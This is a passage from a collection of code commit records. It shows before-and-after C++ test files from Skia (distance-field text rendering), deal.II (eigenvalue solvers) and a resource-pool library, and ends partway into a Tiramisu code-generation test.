SK_BUILD_FOR_ANDROID\n SkScalar textSizes[] = { 9.0f, 9.0f*2.0f, 9.0f*5.0f, 9.0f*2.0f*5.0f };\n#else\n SkScalar textSizes[] = { 11.0f, 11.0f*2.0f, 11.0f*5.0f, 11.0f*2.0f*5.0f };\n#endif\n SkScalar scales[] = { 2.0f*5.0f, 5.0f, 2.0f, 1.0f };\n\n \/\/ set up offscreen rendering with distance field text\n#if SK_SUPPORT_GPU\n GrContext* ctx = inputCanvas->getGrContext();\n SkImageInfo info = SkImageInfo::MakeN32Premul(onISize());\n SkSurfaceProps props(SkSurfaceProps::kUseDistanceFieldFonts_Flag,\n SkSurfaceProps::kLegacyFontHost_InitType);\n SkAutoTUnref<SkSurface> surface(SkSurface::NewRenderTarget(ctx, SkSurface::kNo_Budgeted,\n info, 0, &props));\n SkCanvas* canvas = surface.get() ? surface->getCanvas() : inputCanvas;\n \/\/ init our new canvas with the old canvas's matrix\n canvas->setMatrix(inputCanvas->getTotalMatrix());\n#else\n SkCanvas* canvas = inputCanvas;\n#endif\n \/\/ apply global scale to test glyph positioning\n canvas->scale(1.05f, 1.05f);\n canvas->clear(0xffffffff);\n\n SkPaint paint;\n paint.setAntiAlias(true);\n paint.setSubpixelText(true);\n\n sk_tool_utils::set_portable_typeface_always(&paint, \"serif\", SkTypeface::kNormal);\n\n const char* text = \"Hamburgefons\";\n const size_t textLen = strlen(text);\n\n \/\/ check scaling up\n SkScalar x = SkIntToScalar(0);\n SkScalar y = SkIntToScalar(78);\n for (size_t i = 0; i < SK_ARRAY_COUNT(textSizes); ++i) {\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(x, y);\n canvas->scale(scales[i], scales[i]);\n paint.setTextSize(textSizes[i]);\n canvas->drawText(text, textLen, 0, 0, paint);\n y += paint.getFontMetrics(NULL)*scales[i];\n }\n\n \/\/ check rotation\n for (size_t i = 0; i < 5; ++i) {\n SkScalar rotX = SkIntToScalar(10);\n SkScalar rotY = y;\n\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(SkIntToScalar(10 + i * 200), -80);\n rotate_about(canvas, SkIntToScalar(i * 5), rotX, rotY);\n for (int ps = 6; ps <= 32; ps += 3) {\n paint.setTextSize(SkIntToScalar(ps));\n canvas->drawText(text, textLen, rotX, rotY, paint);\n rotY += paint.getFontMetrics(NULL);\n }\n }\n\n \/\/ check scaling down\n paint.setLCDRenderText(true);\n x = SkIntToScalar(680);\n y = SkIntToScalar(20);\n size_t arraySize = SK_ARRAY_COUNT(textSizes);\n for (size_t i = 0; i < arraySize; ++i) {\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(x, y);\n SkScalar scaleFactor = SkScalarInvert(scales[arraySize - i - 1]);\n canvas->scale(scaleFactor, scaleFactor);\n paint.setTextSize(textSizes[i]);\n canvas->drawText(text, textLen, 0, 0, paint);\n y += paint.getFontMetrics(NULL)*scaleFactor;\n }\n\n \/\/ check pos text\n {\n SkAutoCanvasRestore acr(canvas, true);\n\n canvas->scale(2.0f, 2.0f);\n\n SkAutoTArray<SkPoint> pos(SkToInt(textLen));\n SkAutoTArray<SkScalar> widths(SkToInt(textLen));\n paint.setTextSize(textSizes[0]);\n\n paint.getTextWidths(text, textLen, &widths[0]);\n\n SkScalar x = SkIntToScalar(340);\n SkScalar y = SkIntToScalar(75);\n for (unsigned int i = 0; i < textLen; ++i) {\n pos[i].set(x, y);\n x += widths[i];\n }\n\n canvas->drawPosText(text, textLen, &pos[0], paint);\n }\n\n\n \/\/ check gamma-corrected blending\n const SkColor fg[] = {\n 0xFFFFFFFF,\n 0xFFFFFF00, 0xFFFF00FF, 0xFF00FFFF,\n 0xFFFF0000, 0xFF00FF00, 0xFF0000FF,\n 0xFF000000,\n };\n\n paint.setColor(0xFFF7F3F7);\n SkRect r = SkRect::MakeLTRB(670, 250, 820, 460);\n canvas->drawRect(r, paint);\n\n x = SkIntToScalar(680);\n y = SkIntToScalar(270);\n#ifdef SK_BUILD_FOR_ANDROID\n paint.setTextSize(SkIntToScalar(19));\n#else\n paint.setTextSize(SkIntToScalar(22));\n#endif\n for (size_t i = 0; i < SK_ARRAY_COUNT(fg); ++i) {\n paint.setColor(fg[i]);\n\n canvas->drawText(text, textLen, x, y, paint);\n y += paint.getFontMetrics(NULL);\n }\n\n paint.setColor(0xFF181C18);\n r = SkRect::MakeLTRB(820, 250, 970, 460);\n canvas->drawRect(r, paint);\n\n x = SkIntToScalar(830);\n y = SkIntToScalar(270);\n#ifdef SK_BUILD_FOR_ANDROID\n paint.setTextSize(SkIntToScalar(19));\n#else\n paint.setTextSize(SkIntToScalar(22));\n#endif\n for (size_t i = 0; i < SK_ARRAY_COUNT(fg); ++i) {\n paint.setColor(fg[i]);\n\n canvas->drawText(text, textLen, x, y, paint);\n y += paint.getFontMetrics(NULL);\n }\n\n \/\/ check skew\n {\n paint.setLCDRenderText(false);\n SkAutoCanvasRestore acr(canvas, true);\n canvas->skew(0.0f, 0.151515f);\n paint.setTextSize(SkIntToScalar(32));\n canvas->drawText(text, textLen, 745, 70, paint);\n }\n {\n paint.setLCDRenderText(true);\n SkAutoCanvasRestore acr(canvas, true);\n canvas->skew(0.5f, 0.0f);\n paint.setTextSize(SkIntToScalar(32));\n canvas->drawText(text, textLen, 580, 230, paint);\n }\n\n \/\/ check color emoji\n if (fEmojiTypeface) {\n paint.setTypeface(fEmojiTypeface);\n paint.setTextSize(SkIntToScalar(19));\n canvas->drawText(fEmojiText, strlen(fEmojiText), 670, 100, paint);\n }\n#if SK_SUPPORT_GPU\n \/\/ render offscreen buffer\n if (surface) {\n SkAutoCanvasRestore acr(inputCanvas, true);\n \/\/ since we prepended this matrix already, we blit using identity\n inputCanvas->resetMatrix();\n SkImage* image = surface->newImageSnapshot();\n inputCanvas->drawImage(image, 0, 0, NULL);\n image->unref();\n }\n#endif\n }\n\nprivate:\n SkAutoTUnref<SkTypeface> fEmojiTypeface;\n const char* fEmojiText;\n\n typedef skiagm::GM INHERITED;\n};\n\nDEF_GM( return SkNEW(DFTextGM); )\n<commit_msg>make dftext the same on Linux and Android<commit_after>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"gm.h\"\n#include \"Resources.h\"\n#include \"SkCanvas.h\"\n#include \"SkStream.h\"\n#include \"SkSurface.h\"\n#include \"SkTypeface.h\"\n\nclass DFTextGM : public skiagm::GM {\npublic:\n DFTextGM() {\n this->setBGColor(0xFFFFFFFF);\n }\n\nprotected:\n void onOnceBeforeDraw() override {\n sk_tool_utils::emoji_typeface(&fEmojiTypeface);\n fEmojiText = sk_tool_utils::emoji_sample_text();\n }\n\n SkString onShortName() override {\n SkString name(\"dftext\");\n name.append(sk_tool_utils::platform_os_emoji());\n return name;\n }\n\n SkISize onISize() override {\n return SkISize::Make(1024, 768);\n }\n\n static void rotate_about(SkCanvas* canvas,\n SkScalar degrees,\n SkScalar px, SkScalar py) {\n canvas->translate(px, py);\n canvas->rotate(degrees);\n canvas->translate(-px, -py);\n }\n\n virtual void onDraw(SkCanvas* inputCanvas) override {\n SkScalar textSizes[] = { 9.0f, 9.0f*2.0f, 9.0f*5.0f, 9.0f*2.0f*5.0f };\n SkScalar scales[] = { 2.0f*5.0f, 5.0f, 2.0f, 1.0f };\n\n \/\/ set up offscreen rendering with distance field text\n#if SK_SUPPORT_GPU\n GrContext* ctx = inputCanvas->getGrContext();\n SkImageInfo info = SkImageInfo::MakeN32Premul(onISize());\n SkSurfaceProps props(SkSurfaceProps::kUseDistanceFieldFonts_Flag,\n SkSurfaceProps::kLegacyFontHost_InitType);\n SkAutoTUnref<SkSurface> surface(SkSurface::NewRenderTarget(ctx, SkSurface::kNo_Budgeted,\n info, 0, &props));\n SkCanvas* canvas = surface.get() ? surface->getCanvas() : inputCanvas;\n \/\/ init our new canvas with the old canvas's matrix\n canvas->setMatrix(inputCanvas->getTotalMatrix());\n#else\n SkCanvas* canvas = inputCanvas;\n#endif\n \/\/ apply global scale to test glyph positioning\n canvas->scale(1.05f, 1.05f);\n canvas->clear(0xffffffff);\n\n SkPaint paint;\n paint.setAntiAlias(true);\n paint.setSubpixelText(true);\n\n sk_tool_utils::set_portable_typeface_always(&paint, \"serif\", SkTypeface::kNormal);\n\n const char* text = \"Hamburgefons\";\n const size_t textLen = strlen(text);\n\n \/\/ check scaling up\n SkScalar x = SkIntToScalar(0);\n SkScalar y = SkIntToScalar(78);\n for (size_t i = 0; i < SK_ARRAY_COUNT(textSizes); ++i) {\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(x, y);\n canvas->scale(scales[i], scales[i]);\n paint.setTextSize(textSizes[i]);\n canvas->drawText(text, textLen, 0, 0, paint);\n y += paint.getFontMetrics(NULL)*scales[i];\n }\n\n \/\/ check rotation\n for (size_t i = 0; i < 5; ++i) {\n SkScalar rotX = SkIntToScalar(10);\n SkScalar rotY = y;\n\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(SkIntToScalar(10 + i * 200), -80);\n rotate_about(canvas, SkIntToScalar(i * 5), rotX, rotY);\n for (int ps = 6; ps <= 32; ps += 3) {\n paint.setTextSize(SkIntToScalar(ps));\n canvas->drawText(text, textLen, rotX, rotY, paint);\n rotY += paint.getFontMetrics(NULL);\n }\n }\n\n \/\/ check scaling down\n paint.setLCDRenderText(true);\n x = SkIntToScalar(680);\n y = SkIntToScalar(20);\n size_t arraySize = SK_ARRAY_COUNT(textSizes);\n for (size_t i = 0; i < arraySize; ++i) {\n SkAutoCanvasRestore acr(canvas, true);\n canvas->translate(x, y);\n SkScalar scaleFactor = SkScalarInvert(scales[arraySize - i - 1]);\n canvas->scale(scaleFactor, scaleFactor);\n paint.setTextSize(textSizes[i]);\n canvas->drawText(text, textLen, 0, 0, paint);\n y += paint.getFontMetrics(NULL)*scaleFactor;\n }\n\n \/\/ check pos text\n {\n SkAutoCanvasRestore acr(canvas, true);\n\n canvas->scale(2.0f, 2.0f);\n\n SkAutoTArray<SkPoint> pos(SkToInt(textLen));\n SkAutoTArray<SkScalar> widths(SkToInt(textLen));\n paint.setTextSize(textSizes[0]);\n\n paint.getTextWidths(text, textLen, &widths[0]);\n\n SkScalar x = SkIntToScalar(340);\n SkScalar y = SkIntToScalar(75);\n for (unsigned int i = 0; i < textLen; ++i) {\n pos[i].set(x, y);\n x += widths[i];\n }\n\n canvas->drawPosText(text, textLen, &pos[0], paint);\n }\n\n\n \/\/ check gamma-corrected blending\n const SkColor fg[] = {\n 0xFFFFFFFF,\n 0xFFFFFF00, 0xFFFF00FF, 0xFF00FFFF,\n 0xFFFF0000, 0xFF00FF00, 0xFF0000FF,\n 0xFF000000,\n };\n\n paint.setColor(0xFFF7F3F7);\n SkRect r = SkRect::MakeLTRB(670, 250, 820, 460);\n canvas->drawRect(r, paint);\n\n x = SkIntToScalar(680);\n y = SkIntToScalar(270);\n paint.setTextSize(SkIntToScalar(19));\n for (size_t i = 0; i < SK_ARRAY_COUNT(fg); ++i) {\n paint.setColor(fg[i]);\n\n canvas->drawText(text, textLen, x, y, paint);\n y += paint.getFontMetrics(NULL);\n }\n\n paint.setColor(0xFF181C18);\n r = SkRect::MakeLTRB(820, 250, 970, 460);\n canvas->drawRect(r, paint);\n\n x = SkIntToScalar(830);\n y = SkIntToScalar(270);\n paint.setTextSize(SkIntToScalar(19));\n for (size_t i = 0; i < SK_ARRAY_COUNT(fg); ++i) {\n paint.setColor(fg[i]);\n\n canvas->drawText(text, textLen, x, y, paint);\n y += paint.getFontMetrics(NULL);\n }\n\n \/\/ check skew\n {\n paint.setLCDRenderText(false);\n SkAutoCanvasRestore acr(canvas, true);\n canvas->skew(0.0f, 0.151515f);\n paint.setTextSize(SkIntToScalar(32));\n canvas->drawText(text, textLen, 745, 70, paint);\n }\n {\n paint.setLCDRenderText(true);\n SkAutoCanvasRestore acr(canvas, true);\n canvas->skew(0.5f, 0.0f);\n paint.setTextSize(SkIntToScalar(32));\n canvas->drawText(text, textLen, 580, 230, paint);\n }\n\n \/\/ check color emoji\n if (fEmojiTypeface) {\n paint.setTypeface(fEmojiTypeface);\n paint.setTextSize(SkIntToScalar(19));\n canvas->drawText(fEmojiText, strlen(fEmojiText), 670, 100, paint);\n }\n#if SK_SUPPORT_GPU\n \/\/ render offscreen buffer\n if (surface) {\n SkAutoCanvasRestore acr(inputCanvas, true);\n \/\/ since we prepended this matrix already, we blit using identity\n inputCanvas->resetMatrix();\n SkImage* image = surface->newImageSnapshot();\n inputCanvas->drawImage(image, 0, 0, NULL);\n image->unref();\n }\n#endif\n }\n\nprivate:\n SkAutoTUnref<SkTypeface> fEmojiTypeface;\n const char* fEmojiText;\n\n typedef skiagm::GM INHERITED;\n};\n\nDEF_GM( return SkNEW(DFTextGM); )\n<|endoftext|>"} {"text":"<commit_before>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 1998 - 2016 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n\n\n#include \"..\/tests.h\"\n#include \"..\/testmatrix.h\"\n#include <deal.II\/lac\/sparse_matrix.h>\n#include <deal.II\/lac\/vector.h>\n#include <deal.II\/lac\/vector_memory.h>\n#include <deal.II\/lac\/solver_control.h>\n#include <deal.II\/lac\/eigen.h>\n#include <deal.II\/lac\/precondition.h>\n\nint main()\n{\n std::ofstream logfile(\"output\");\n\/\/ logfile.setf(std::ios::fixed);\n deallog << std::setprecision(4);\n deallog.attach(logfile);\n\n GrowingVectorMemory<> mem;\n SolverControl control(1000, 1.e-5);\n\n const unsigned int size = 10;\n const unsigned int dim = (size-1)*(size-1);\n\n \/*\n * Compute minimal and maximal\n * eigenvalues of the 5-point\n * stencil matrix\n * (Hackbusch:Iterative Lsung...,\n * Satz 4.1.1)\n *\/\n const double h = 1.\/size;\n const double s = std::sin(numbers::PI*h\/2.);\n const double c = std::cos(numbers::PI*h\/2.);\n const double lambda_max = 8.*c*c;\n const double lambda_min = 8.*s*s;\n\n FDMatrix testproblem(size, size);\n SparsityPattern structure(dim, dim, 5);\n testproblem.five_point_structure(structure);\n structure.compress();\n SparseMatrix<double> A(structure);\n testproblem.five_point(A);\n\n Vector<double> u(dim);\n u = 1.;\n double lambda;\n\n EigenPower<> mises(control, mem);\n mises.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n\n double lambda2;\n u = 1.;\n\n EigenPower<> mises2(control, mem, -1.5*lambda);\n mises2.solve(lambda2, A, u);\n deallog << \"Eigenvalue \" << lambda2 << \" Error \" << lambda2-lambda_min << std::endl;\n\n u = 1.;\n lambda = 0.;\n EigenInverse<> wieland(control, mem);\n wieland.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_min << std::endl;\n\n u = 1.;\n lambda = 10.;\n wieland.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n\n u = 1.;\n lambda = 10.;\n EigenInverse<> wieland2(control, mem, .2);\n wieland2.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n}\n<commit_msg>fix illegal character (<F6> instead of oe)<commit_after>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 1998 - 2016 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n\n\n#include \"..\/tests.h\"\n#include \"..\/testmatrix.h\"\n#include <deal.II\/lac\/sparse_matrix.h>\n#include <deal.II\/lac\/vector.h>\n#include <deal.II\/lac\/vector_memory.h>\n#include <deal.II\/lac\/solver_control.h>\n#include <deal.II\/lac\/eigen.h>\n#include <deal.II\/lac\/precondition.h>\n\nint main()\n{\n std::ofstream logfile(\"output\");\n\/\/ logfile.setf(std::ios::fixed);\n deallog << std::setprecision(4);\n deallog.attach(logfile);\n\n GrowingVectorMemory<> mem;\n SolverControl control(1000, 1.e-5);\n\n const unsigned int size = 10;\n const unsigned int dim = (size-1)*(size-1);\n\n \/*\n * Compute minimal and maximal\n * eigenvalues of the 5-point\n * stencil matrix\n * (Hackbusch:Iterative Loesung...,\n * Satz 4.1.1)\n *\/\n const double h = 1.\/size;\n const double s = std::sin(numbers::PI*h\/2.);\n const double c = std::cos(numbers::PI*h\/2.);\n const double lambda_max = 8.*c*c;\n const double lambda_min = 8.*s*s;\n\n FDMatrix testproblem(size, size);\n SparsityPattern structure(dim, dim, 5);\n testproblem.five_point_structure(structure);\n structure.compress();\n SparseMatrix<double> A(structure);\n testproblem.five_point(A);\n\n Vector<double> u(dim);\n u = 1.;\n double lambda;\n\n EigenPower<> mises(control, mem);\n mises.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n\n double lambda2;\n u = 1.;\n\n EigenPower<> mises2(control, mem, -1.5*lambda);\n mises2.solve(lambda2, A, u);\n deallog << \"Eigenvalue \" << lambda2 << \" Error \" << lambda2-lambda_min << std::endl;\n\n u = 1.;\n lambda = 0.;\n EigenInverse<> wieland(control, mem);\n wieland.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_min << std::endl;\n\n u = 1.;\n lambda = 10.;\n wieland.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n\n u = 1.;\n lambda = 10.;\n EigenInverse<> wieland2(control, mem, .2);\n wieland2.solve(lambda, A, u);\n deallog << \"Eigenvalue \" << lambda << \" Error \" << lambda-lambda_max << std::endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <boost\/make_shared.hpp>\n#include <gtest\/gtest.h>\n#include <yamail\/resource_pool.hpp>\n\nnamespace {\n\nusing namespace testing;\nusing namespace yamail::resource_pool;\nusing namespace yamail::resource_pool::sync;\n\nusing boost::make_shared;\n\nstruct resource {};\n\ntypedef boost::shared_ptr<resource> resource_ptr;\ntypedef pool<resource_ptr> resource_pool;\ntypedef resource_pool::handle_ptr resource_handle_ptr;\n\nconst boost::function<resource_ptr ()> make_resource = make_shared<resource>;\n\nclass my_resource_handle : public handle_facade<resource_pool> {\npublic:\n my_resource_handle(const resource_handle_ptr& handle)\n : handle_facade<resource_pool>(handle) {}\n};\n\nstruct sync_resource_pool : Test {};\n\nTEST(sync_resource_pool, dummy_create) {\n resource_pool pool;\n}\n\nTEST(sync_resource_pool, dummy_create_not_empty) {\n resource_pool pool(42);\n}\n\nTEST(sync_resource_pool, dummy_create_not_empty_with_factory) {\n resource_pool pool(42, make_resource);\n}\n\nTEST(sync_resource_pool, check_metrics_for_empty) {\n resource_pool pool;\n EXPECT_EQ(pool.capacity(), 0);\n EXPECT_EQ(pool.size(), 0);\n EXPECT_EQ(pool.used(), 0);\n EXPECT_EQ(pool.available(), 0);\n}\n\nTEST(sync_resource_pool, check_capacity) {\n const std::size_t capacity = 42;\n resource_pool pool(capacity);\n EXPECT_EQ(pool.capacity(), capacity);\n}\n\nTEST(sync_resource_pool, dummy_get_auto_recylce_handle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n}\n\nTEST(sync_resource_pool, dummy_get_auto_waste_handle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n}\n\nTEST(sync_resource_pool, check_metrics_for_not_empty) {\n const std::size_t capacity = 42;\n resource_pool pool(capacity, make_resource);\n EXPECT_EQ(pool.size(), 0);\n EXPECT_EQ(pool.used(), 0);\n EXPECT_EQ(pool.available(), 0);\n {\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_EQ(pool.size(), 1);\n EXPECT_EQ(pool.used(), 1);\n EXPECT_EQ(pool.available(), 0);\n }\n EXPECT_EQ(pool.size(), 1);\n EXPECT_EQ(pool.used(), 0);\n EXPECT_EQ(pool.available(), 1);\n {\n resource_handle_ptr handle1 = pool.get_auto_recycle();\n resource_handle_ptr handle2 = pool.get_auto_recycle();\n EXPECT_EQ(pool.size(), 2);\n EXPECT_EQ(pool.used(), 2);\n EXPECT_EQ(pool.available(), 0);\n }\n EXPECT_EQ(pool.size(), 2);\n EXPECT_EQ(pool.used(), 0);\n EXPECT_EQ(pool.available(), 2);\n {\n resource_handle_ptr handle = pool.get_auto_waste();\n EXPECT_EQ(pool.size(), 2);\n EXPECT_EQ(pool.used(), 1);\n EXPECT_EQ(pool.available(), 1);\n }\n EXPECT_EQ(pool.size(), 1);\n EXPECT_EQ(pool.used(), 0);\n EXPECT_EQ(pool.available(), 1);\n}\n\nTEST(sync_resource_pool, get_auto_recylce_handle_and_recycle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n}\n\nTEST(sync_resource_pool, get_auto_recylce_handle_and_waste) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->waste();\n}\n\nTEST(sync_resource_pool, get_auto_waste_handle_and_recycle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n handle->recycle();\n}\n\nTEST(sync_resource_pool, get_auto_waste_handle_and_waste) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n handle->waste();\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_check_empty) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_FALSE(handle->empty());\n handle->recycle();\n EXPECT_TRUE(handle->empty());\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_and_get_recycled_expect_exception) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n EXPECT_THROW(handle->get(), error::empty_handle);\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_and_recycle_recycled_expect_exception) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n EXPECT_THROW(handle->recycle(), error::empty_handle);\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_from_empty_pool_returns_empty_handle) {\n resource_pool pool(0, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_EQ(handle->error(), error::get_resource_timeout);\n}\n\nTEST(sync_resource_pool, dummy_create_my_resoure_handle) {\n resource_pool pool(1, make_resource);\n my_resource_handle handle(pool.get_auto_recycle());\n}\n\nTEST(sync_resource_pool, check_pool_lifetime) {\n resource_handle_ptr handle;\n {\n resource_pool pool(1, make_resource);\n handle = pool.get_auto_recycle();\n }\n}\n\n}\n<commit_msg>Fix warnings<commit_after>#include <boost\/make_shared.hpp>\n#include <gtest\/gtest.h>\n#include <yamail\/resource_pool.hpp>\n\nnamespace {\n\nusing namespace testing;\nusing namespace yamail::resource_pool;\nusing namespace yamail::resource_pool::sync;\n\nusing boost::make_shared;\n\nstruct resource {};\n\ntypedef boost::shared_ptr<resource> resource_ptr;\ntypedef pool<resource_ptr> resource_pool;\ntypedef resource_pool::handle_ptr resource_handle_ptr;\n\nconst boost::function<resource_ptr ()> make_resource = make_shared<resource>;\n\nclass my_resource_handle : public handle_facade<resource_pool> {\npublic:\n my_resource_handle(const resource_handle_ptr& handle)\n : handle_facade<resource_pool>(handle) {}\n};\n\nstruct sync_resource_pool : Test {};\n\nTEST(sync_resource_pool, dummy_create) {\n resource_pool pool;\n}\n\nTEST(sync_resource_pool, dummy_create_not_empty) {\n resource_pool pool(42);\n}\n\nTEST(sync_resource_pool, dummy_create_not_empty_with_factory) {\n resource_pool pool(42, make_resource);\n}\n\nTEST(sync_resource_pool, check_metrics_for_empty) {\n resource_pool pool;\n EXPECT_EQ(pool.capacity(), 0ul);\n EXPECT_EQ(pool.size(), 0ul);\n EXPECT_EQ(pool.used(), 0ul);\n EXPECT_EQ(pool.available(), 0ul);\n}\n\nTEST(sync_resource_pool, check_capacity) {\n const std::size_t capacity = 42;\n resource_pool pool(capacity);\n EXPECT_EQ(pool.capacity(), capacity);\n}\n\nTEST(sync_resource_pool, dummy_get_auto_recylce_handle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n}\n\nTEST(sync_resource_pool, dummy_get_auto_waste_handle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n}\n\nTEST(sync_resource_pool, check_metrics_for_not_empty) {\n const std::size_t capacity = 42;\n resource_pool pool(capacity, make_resource);\n EXPECT_EQ(pool.size(), 0ul);\n EXPECT_EQ(pool.used(), 0ul);\n EXPECT_EQ(pool.available(), 0ul);\n {\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_EQ(pool.size(), 1ul);\n EXPECT_EQ(pool.used(), 1ul);\n EXPECT_EQ(pool.available(), 0ul);\n }\n EXPECT_EQ(pool.size(), 1ul);\n EXPECT_EQ(pool.used(), 0ul);\n EXPECT_EQ(pool.available(), 1ul);\n {\n resource_handle_ptr handle1 = pool.get_auto_recycle();\n resource_handle_ptr handle2 = pool.get_auto_recycle();\n EXPECT_EQ(pool.size(), 2ul);\n EXPECT_EQ(pool.used(), 2ul);\n EXPECT_EQ(pool.available(), 0ul);\n }\n EXPECT_EQ(pool.size(), 2ul);\n EXPECT_EQ(pool.used(), 0ul);\n EXPECT_EQ(pool.available(), 2ul);\n {\n resource_handle_ptr handle = pool.get_auto_waste();\n EXPECT_EQ(pool.size(), 2ul);\n EXPECT_EQ(pool.used(), 1ul);\n EXPECT_EQ(pool.available(), 1ul);\n }\n EXPECT_EQ(pool.size(), 1ul);\n EXPECT_EQ(pool.used(), 0ul);\n EXPECT_EQ(pool.available(), 1ul);\n}\n\nTEST(sync_resource_pool, get_auto_recylce_handle_and_recycle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n}\n\nTEST(sync_resource_pool, get_auto_recylce_handle_and_waste) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->waste();\n}\n\nTEST(sync_resource_pool, get_auto_waste_handle_and_recycle) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n handle->recycle();\n}\n\nTEST(sync_resource_pool, get_auto_waste_handle_and_waste) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_waste();\n handle->waste();\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_check_empty) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_FALSE(handle->empty());\n handle->recycle();\n EXPECT_TRUE(handle->empty());\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_and_get_recycled_expect_exception) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n EXPECT_THROW(handle->get(), error::empty_handle);\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_and_recycle_recycled_expect_exception) {\n resource_pool pool(1, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n handle->recycle();\n EXPECT_THROW(handle->recycle(), error::empty_handle);\n}\n\nTEST(sync_resource_pool, get_auto_recycle_handle_from_empty_pool_returns_empty_handle) {\n resource_pool pool(0, make_resource);\n resource_handle_ptr handle = pool.get_auto_recycle();\n EXPECT_EQ(handle->error(), error::get_resource_timeout);\n}\n\nTEST(sync_resource_pool, dummy_create_my_resoure_handle) {\n resource_pool pool(1, make_resource);\n my_resource_handle handle(pool.get_auto_recycle());\n}\n\nTEST(sync_resource_pool, check_pool_lifetime) {\n resource_handle_ptr handle;\n {\n resource_pool pool(1, make_resource);\n handle = pool.get_auto_recycle();\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <tiramisu\/tiramisu.h>\n\nusing namespace tiramisu;\n\nvoid gen(std::string name, int size, int val0, int val1)\n{\n tiramisu::init(name);\n\n tiramisu::function *function0 = global::get_implicit_function();\n\n tiramisu::constant N(\"N\", tiramisu::expr((int32_t) size), p_int32, true, NULL, 0, function0);\n\n tiramisu::var i(\"i\", 0, N), j(\"j\", 0, N);\n tiramisu::var i0(\"i0\"), j0(\"j0\"), i1(\"i1\"), j1(\"j1\");\n\n tiramisu::computation S0(tiramisu::expr((uint8_t) (val0 + val1)), i, j);\n\n S0.tile(i, j, 2, 2, i0, j0, i1, j1);\n S0.tag_parallel_level(i0);\n\n tiramisu::buffer buf0(\"buf0\", {size, size}, tiramisu::p_uint8, a_output, function0);\n S0.store_in(&buf0, {i ,j});\n\n function0->codegen({&buf0}, \"build\/generated_fct_test_116.o\");\n}\n\nint main(int argc, char **argv)\n{\n gen(\"func\", 10, 3, 4);\n\n return 0;\n}\n<commit_msg>Fix test<commit_after>#include <tiramisu\/tiramisu.h>\n\nusing namespace tiramisu;\n\nvoid gen(std::string name, int size, int val0, int val1)\n{\n tiramisu::init(name);\n\n tiramisu::function *function0 